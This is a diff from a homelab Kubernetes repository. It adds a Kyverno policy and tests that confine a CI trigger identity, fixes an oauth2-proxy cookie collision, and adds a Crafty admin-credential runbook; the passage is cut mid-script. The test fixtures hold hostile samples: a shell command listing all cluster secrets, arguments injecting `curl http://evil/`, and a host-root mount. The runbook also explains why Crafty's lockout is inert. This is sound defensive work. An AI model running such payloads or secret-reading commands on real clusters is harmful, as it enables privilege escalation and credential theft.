+          f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
+          f"list stops being reviewable")
+
+check(CHECKS >= 4,
+      f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
+
+if FAILURES:
+    print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
+      f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
+      f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
+      f"not that they are correct — `kyverno test` is what proves correctness.")
+PY

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
 DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
                   "runbooks", "clusters", "bootstrap", "catalog")
 
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
 
 def tracked_yaml() -> list[Path]:
     out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
 # a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
 # a path of them would fail on a file that is correct.
 reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
 unscanned = sorted({
     f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
     for p, d in reconcilers
-    if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
-    not in DELIVERY_ROOTS
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
 })
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
 check(len(reconcilers) >= 10 and not unscanned,
       f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
       f"reconciled tree this check does not read is a service it cannot require a link for "

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -38,8 +38,21 @@ agents. So the credential model must be decided by the operator before anything
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
 
-**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
-is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
+**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
+LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
+
+> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
+> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
+> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
+> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
+> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
+> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
+> run" this stage attempts can never succeed; it can only skip and, before the guard added on
+> 2026-09-29, lie about it.
+>
+> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
+> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
+> not enable L2/L3, it only changes which way this stage fails.
 
 ---
 

platform-config/kustomization.yaml

@@ -34,6 +34,14 @@ resources:
   # policies, the next import is blocked in the gap.
   - ../platform/kyverno/policies/label-cdi-worker-pods.yaml
   - ../platform/kyverno/admission/secret-provenance.yaml
+  # R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
+  # Kustomization is what actually applies ClusterPolicies. Adding a policy only to
+  # platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
+  # only ("kept as reference; THIS file is the buildable render root" in
+  # platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
+  # That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
+  # leaving the conformance-trigger identity live with nothing bounding it.
+  - ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
   # cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
   - cilium/l2-ip-pool.yaml
   - cilium/l2-announcement-policy.yaml

platform/crafty/README.md

@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
 `crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
 the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
 
-> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
-> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
-> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
+#### Cookie isolation (why the session used to vanish)
+
+This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
+`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
+emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
+authenticated last clobbered the other's session, and the loser logged
+`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
+still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
+exactly as *"I signed in to Keycloak but I'm still not signed in."*
+
+Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
+`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
+`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+#### Crafty's own local login — this is where setup actually blocks
+
+Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
+username/password page. That second factor is intended. What was **not** intended — and what made the
+service impossible to set up — is that **nothing documented where that password comes from**.
+
+Crafty generates it **once, on first boot only**, when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
+**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
+**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
+random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
+what a browser sees with no hint as to why.
+
+**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
+
+Two traps that runbook covers:
+
+- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
+  `getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
+  Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
+- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
+  *records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
+  tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
+  differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
+  never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
+  the only thing actually limiting who can reach the login form is the oauth2-proxy
+  `platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
 
 ### Keycloak client
 

platform/crafty/deployment.yaml

@@ -150,7 +150,27 @@ spec:
             # Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
             - --skip-provider-button=true
             - --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
-            - --cookie-domain=.${BASE_DOMAIN}
+            # ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
+            # This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
+            # INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
+            # `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
+            # to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
+            # scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
+            # whichever authenticated last overwrote the other's session, and the loser then logged
+            # "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
+            # live Keycloak SSO session, silently redirected back and overwrote the cookie again.
+            # That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
+            # Keycloak but I am still not signed in to the app."
+            # Two independent fixes, both applied here (only this side changes -- renaming the
+            # SHARED proxy's cookie would sign every other gated app out):
+            #   1. --cookie-name: a unique name, so the two sessions cannot alias at all.
+            #   2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
+            #      its session to every other host in the zone; the shared proxy keeps the wide
+            #      scope because cross-host forward-auth is precisely its job.
+            # --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
+            # REDIRECT targets, not cookie scope.
+            - --cookie-name=_oauth2_proxy_crafty
+            - --cookie-domain=crafty.${BASE_DOMAIN}
             - --whitelist-domain=.${BASE_DOMAIN}
             - --cookie-secure=true
             - --pass-access-token=true

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -0,0 +1,144 @@
+# Serves: R-SEC-02 (CI holds no broad cluster access)
+#
+# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
+#
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
+# `create jobs` in namespace `conformance` can therefore create a Job that runs as
+# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
+# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
+# privileged identity unless something constrains the SHAPE of what it may create.
+#
+# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
+# committed conformance run and deny everything else. The operator chose this model
+# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
+# GitOps-native alternative.
+#
+# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
+# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
+# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
+# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
+# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
+#
+# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
+# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
+#
+# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
+# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
+# enforceable half: the image must live under the conformance repository path AND be
+# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
+# registry path could publish a different digest. TIGHTEN THIS when the image is built by
+# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
+# PR, which is exactly where a change to the security boundary belongs.
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: conformance-trigger-job-shape
+  annotations:
+    policies.kyverno.io/title: Constrain what the conformance CI trigger may create
+    policies.kyverno.io/category: Supply chain
+    policies.kyverno.io/severity: critical
+    homelab.keithjackson.dev/requirements: R-SEC-02
+    homelab.keithjackson.dev/scope: admission-only
+spec:
+  validationFailureAction: Enforce
+  failurePolicy: Fail
+  background: false
+  rules:
+    - name: trigger-may-create-only-the-committed-conformance-run
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger may create ONLY the committed conformance run: a single container,
+          digest-pinned conformance-runner image, serviceAccountName conformance-runner,
+          command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
+          and only the `workspace` and `results` volumes. See
+          platform/kyverno/admission/conformance-trigger-job-shape.yaml.
+        pattern:
+          spec:
+            template:
+              spec:
+                serviceAccountName: conformance-runner
+                =(hostNetwork): "false"
+                =(hostPID): "false"
+                =(hostIPC): "false"
+                containers:
+                  - image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
+                    command:
+                      - "./run.sh"
+                    securityContext:
+                      runAsNonRoot: true
+                      allowPrivilegeEscalation: false
+                      =(privileged): "false"
+
+    - name: trigger-volumes-must-be-workspace-or-results
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
+          volume is how a constrained pod reaches a host path, a secret, or another SA's token.
+        # foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
+        # matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
+        # asserts EVERY volume is one of the two allowed names.
+        foreach:
+          - list: "request.object.spec.template.spec.volumes"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value: ["workspace", "results"]
+
+    - name: trigger-args-must-be-the-committed-flags
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Job args may contain only the conformance run's own flags
+          (--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
+          Anything else — a shell, a path, a redirect — is denied.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].args"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
+                    operator: Equals
+                    value: false

platform/kyverno/admission/kustomization.yaml

@@ -20,3 +20,7 @@ resources:
   # --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
   #     (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
   - secret-provenance.yaml
+  # --- R-SEC-02: constrain what the conformance CI trigger may create ---
+  # THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
+  # subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
+  - conformance-trigger-job-shape.yaml

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -0,0 +1,57 @@
+# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
+#
+# Each DENY case below is a real escalation path, not a style violation. The one that matters
+# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
+# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
+# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
+# this policy.
+#
+# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
+# never fires and every case trivially passes — a test that proves nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: conformance-trigger-job-shape
+policies:
+  - ../../admission/conformance-trigger-job-shape.yaml
+resources:
+  - resources.yaml
+userinfo: user-info.yaml
+results:
+  # ---- the committed run is ADMITTED ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [good-run]
+    result: pass
+
+  # ---- THE escalation: runner SA + arbitrary command ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
+    result: fail
+
+  # ---- an extra volume is the way out of a constrained pod ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [extra-volume]
+    result: fail
+
+  # ---- args beyond the committed flags ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [injected-args]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -0,0 +1,154 @@
+# The committed shape — must be ADMITTED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: good-run
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-command
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An arbitrary image running as the privileged SA. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-image
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: docker.io/library/alpine:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: tag-not-digest
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# Host namespaces + privilege escalation. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: host-namespaces
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      hostPID: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: false
+            allowPrivilegeEscalation: true
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An extra volume — the way out of a constrained pod. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: extra-volume
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: hostroot
+          hostPath:
+            path: /
+---
+# Injected args beyond the committed flags. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2", ";", "curl", "http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}

platform/kyverno/tests/conformance-trigger/user-info.yaml

@@ -0,0 +1,12 @@
+# The requesting identity the policy keys on. Without this the `subjects` match never fires and
+# every case below would trivially "pass" — proving nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: UserInfo
+metadata:
+  name: conformance-trigger
+userInfo:
+  username: system:serviceaccount:conformance:conformance-trigger
+  groups:
+    - system:serviceaccounts
+    - system:serviceaccounts:conformance
+    - system:authenticated

runbooks/README.md

@@ -115,6 +115,12 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
   plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
   token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
   Includes why a changed Secret does not restart anything, and why an expired token is harmless.
+- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
+  Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
+  factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
+  password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
+  Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
+  sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
 
 ### Virtualisation
 - **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.

runbooks/crafty-admin-credential.md

@@ -0,0 +1,179 @@
+# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
+
+**Not alert-driven.** This is an operator procedure, linked from
+[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
+first time, rotating that credential, and recovering when it is lost.
+
+> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
+> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
+> transcript.)
+
+## What this means here
+
+`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
+Keycloak's:
+
+1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
+2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
+   sidecar's identity headers, so it shows its own login page to an already-authenticated user.
+
+So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
+the real question is only ever *which* of the two rejected you. They fail differently:
+
+| Where you are | What you see | Which layer |
+|---|---|---|
+| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
+| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
+| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
+
+The third row is the one that blocks setup, because **nothing in the UI tells you where that password
+comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
+`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
+It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
+random password, and the old one is gone with the old volume.
+
+Two things that are *not* the problem, both verified live:
+
+- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
+  differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
+  you have — the `platform-admins` gate is what limits who reaches the form at all.)
+- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
+  a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
+
+## First commands
+
+`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
+`dev.sh` picks a current-context **per invocation**, so always name the context.
+
+**1. Is the pod healthy, and is the password still the generated one?**
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
+kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
+    print(\"created    :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
+"'
+```
+
+Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
+`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
+*Reset*.
+
+**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
+```
+
+The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
+
+**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
+supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
+and check `last_update` has moved away from `created`.
+
+## Likely causes, most likely first
+
+1. **You never had the password.** By far the most common, and the reason this runbook exists. The
+   credential was only ever on the PVC. → commands 1–3 above.
+2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
+   value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
+3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
+   servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
+   `default-creds.txt` from the new pod; do not expect the old credential to work.
+4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
+   before touching any password:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c \
+     'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
+   ```
+   `[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
+   its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
+   means the session cookie is not surviving — see *cookie isolation* in
+   `platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
+   proxy's, or the two evict each other.
+5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
+
+## Reset when the password is unknown
+
+Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
+existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
+mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
+history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
+password is generated in-pod rather than passed in.)
+
+Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
+so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
+action**, not an agent action.
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
+import os, secrets, sqlite3, string, datetime
+from argon2 import PasswordHasher
+pw  = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
